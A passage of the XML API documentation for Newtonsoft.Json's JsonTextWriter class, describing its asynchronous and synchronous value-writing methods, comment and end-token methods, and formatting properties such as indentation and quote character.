cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.DateTimeOffset},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Decimal,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Decimal\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Decimal},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Double,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Double\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Double},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Single,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Single\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Single},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Guid,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Guid\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Guid},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Int32,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int32\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Int32},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Int64,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int64\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Int64},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Object,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Object\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.SByte,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.SByte\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.SByte},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Int16,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int16\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.Int16},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.String\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.String\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.TimeSpan,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.TimeSpan},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.UInt32,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt32\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.UInt32},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.UInt64,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt64\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.UInt64},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Uri,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Uri\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Uri\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.UInt16,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt16\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueAsync(System.Nullable{System.UInt16},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteCommentAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a comment <c>/*...*/</c> containing the specified text.\n            </summary>\n            <param name=\"text\">Text to place inside the comment.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteEndArrayAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the end of an array.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteEndConstructorAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the end of a constructor.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteEndObjectAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the end of a JSON object.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteRawValueAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes raw JSON where a value is expected and updates the writer's state.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>Derived classes must override this method to get asynchronous behaviour. Otherwise it will\n            execute synchronously, returning an already-completed task.</remarks>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextWriter.ArrayPool\">\n            <summary>\n            Gets or sets the writer's character array pool.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextWriter.Indentation\">\n            <summary>\n            Gets or sets how many <see cref=\"P:Newtonsoft.Json.JsonTextWriter.IndentChar\"/>s to write for each level in the hierarchy when <see cref=\"P:Newtonsoft.Json.JsonWriter.Formatting\"/> is set to <see cref=\"F:Newtonsoft.Json.Formatting.Indented\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextWriter.QuoteChar\">\n            <summary>\n            Gets or sets which character to use to quote attribute values.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextWriter.IndentChar\">\n            <summary>\n            Gets or sets which character to use for indenting when <see cref=\"P:Newtonsoft.Json.JsonWriter.Formatting\"/> is set to <see cref=\"F:Newtonsoft.Json.Formatting.Indented\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonTextWriter.QuoteName\">\n            <summary>\n            Gets or sets a value indicating whether object names will be surrounded with quotes.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.#ctor(System.IO.TextWriter)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonTextWriter\"/> class using the specified <see cref=\"T:System.IO.TextWriter\"/>.\n            </summary>\n            <param name=\"textWriter\">The <see cref=\"T:System.IO.TextWriter\"/> to write to.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.Flush\">\n            <summary>\n            Flushes whatever is in the buffer to the underlying <see cref=\"T:System.IO.TextWriter\"/> and also flushes the underlying <see cref=\"T:System.IO.TextWriter\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.Close\">\n            <summary>\n            Closes this writer.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\"/> is set to <c>true</c>, the underlying <see cref=\"T:System.IO.TextWriter\"/> is also closed.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.AutoCompleteOnClose\"/> is set to <c>true</c>, the JSON is auto-completed.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteStartObject\">\n            <summary>\n            Writes the beginning of a JSON object.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteStartArray\">\n            <summary>\n            Writes the beginning of a JSON array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteStartConstructor(System.String)\">\n            <summary>\n            Writes the start of a constructor with the given name.\n            </summary>\n            <param name=\"name\">The name of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteEnd(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Writes the specified end token.\n            </summary>\n            <param name=\"token\">The end token to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WritePropertyName(System.String)\">\n            <summary>\n            Writes the property name of a name/value pair on a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WritePropertyName(System.String,System.Boolean)\">\n            <summary>\n            Writes the property name of a name/value pair on a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n            <param name=\"escape\">A flag to indicate whether the text should be escaped when it is written as a JSON property name.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteIndent\">\n            <summary>\n            Writes indent characters.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValueDelimiter\">\n            <summary>\n            Writes the JSON value delimiter.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteIndentSpace\">\n            <summary>\n            Writes an indent space.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Object)\">\n            <summary>\n            Writes a <see cref=\"T:System.Object\"/> value.\n            An error will raised if the value cannot be written as a single JSON token.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteNull\">\n            <summary>\n            Writes a null value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteUndefined\">\n            <summary>\n            Writes an undefined value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteRaw(System.String)\">\n            <summary>\n            Writes raw JSON.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.String)\">\n            <summary>\n            Writes a <see cref=\"T:System.String\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.String\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Int32)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.UInt32)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Int64)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.UInt64)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Single)\">\n            <summary>\n            Writes a <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Nullable{System.Single})\">\n            <summary>\n            Writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonTextWriter.WriteValue(System.Double)\">\n            <summary>\n            Writes a <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member 